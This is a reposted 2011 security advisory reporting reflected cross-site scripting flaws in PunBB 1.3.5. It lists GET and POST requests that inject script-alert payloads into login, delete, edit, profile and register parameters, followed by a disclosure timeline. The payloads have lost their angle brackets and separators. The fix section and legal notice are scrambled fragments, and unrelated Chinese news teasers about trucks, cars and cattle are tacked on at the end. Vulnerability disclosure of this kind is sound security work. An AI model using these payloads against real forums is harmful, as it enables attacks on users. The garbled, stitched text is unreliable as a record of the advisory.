PunBB PHP Forum 1.3.5 Cross Site Scripting(含修复)

Affected Software : PunBB PHP Forum Severity : Medium Local/Remote : Remote Author : @drk1wi [Summary] Just for those whom it might concern. These vulnerabilities have been identified for the latest (clean version 1.3.5) during one of my penetration tests. [Vulnerability Details] GET /login.php?action=outid=3csrf_token=4b072f27396cec5d79/scriptalert(oink)/script GET /misc.php?action=markforumreadfid=1csrf_token=c173cabad786/scriptalert(oink)/script POST /delete.php?id=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_confirm=scriptalert(oink)/scriptdelete=scriptalert(oink)/script POST /edit.php?id=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_message=scriptalert(oink)/scriptsubmit=scriptalert(oink)/script POST /login.php?action=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_email=scriptalert(oink)/scriptrequest_pass=scriptalert(oink)/script POST /misc.php?email=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptredirect_url=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_subject=scriptalert(oink)/scriptreq_message=scriptalert(oink)/scriptsubmit=scriptalert(oink)/script POST /profile.php?action=scriptalert(oink)/scriptid=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_old_password=scriptalert(oink)/scriptreq_new_password1=scriptalert(oink)/scriptreq_new_password2=scriptalert(oink)/scriptupdate=scriptalert(oink)/script POST /register.php?action=scriptalert(oink)/script form_sent=scriptalert(oink)/scriptcsrf_token=scriptalert(oink)/scriptreq_username=scriptalert(oink)/scriptreq_password1=scriptalert(oink)/scriptreq_password2=scriptalert(369448)/scriptreq_email1=scriptalert(oink)/scripttimezone=scriptalert(oink)/scriptregister=scriptalert(oink)/script [Time-line] 20/08/2011- Vendor notified 02/09/2011- No e-mail reply and BAN on Forum ??? - Vendor patch release 16/09/2011- Public disclosure [Fix Information] Cheers，， indirect， or reliance on。

or consequential loss or damage arising from use of， please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct， Piotr Duszynski (@drk1wi) X. LEGAL NOTICES Copyright (c) 2011 Piotr drk1wi Duszynski Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically，。

✽本文资讯仅供参考，并不构成投资或购买等决策建议。

推荐阅读：

500马力售价27万你关心的问题全在这里

最近在各种卡友群里面,聊的最多的话题无疑是三一重卡了.关于它的超低售价、售后问...

宝骏下一个爆款在路上，哈弗 H6 见了瑟瑟发抖

人都是念旧的，2018 来了好几天，我们却还是习惯想着从前。特别是这两天，各种 2017 年的总结，刷爆大家的朋友圈。

红牛之乡打造﹃郏县红牛中国牛﹄品牌

□本报记者丁需学郏县是红牛之乡，郏县把红牛产业作为农民增收致富的重要产业、乡村振兴的主导产业、县域经济的支柱产业，走“全链、专营、高端、品牌”的发展之